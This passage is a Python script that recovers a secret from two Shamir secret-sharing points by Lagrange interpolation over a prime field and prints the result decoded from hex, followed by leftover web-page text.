               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    '''
    Recover the secret from share points
    (x,y points on the polynomial)
    '''
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
    '''main function'''

    shares = [(0,2224986029527219608265802269978051670202251873839904862714021348744328421484544276823667729021)]
    shares.append((1,int("C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7",16)))

    print('shares:')
    if shares:
        for share in shares:
            print('  ', share)

    print('secret recovered from minimum subset of shares:             ',
          binascii.a2b_hex(hex(recover_secret(shares))[2:]))


if __name__ == '__main__':
    main()

- Read More -
This is just a placeholder img.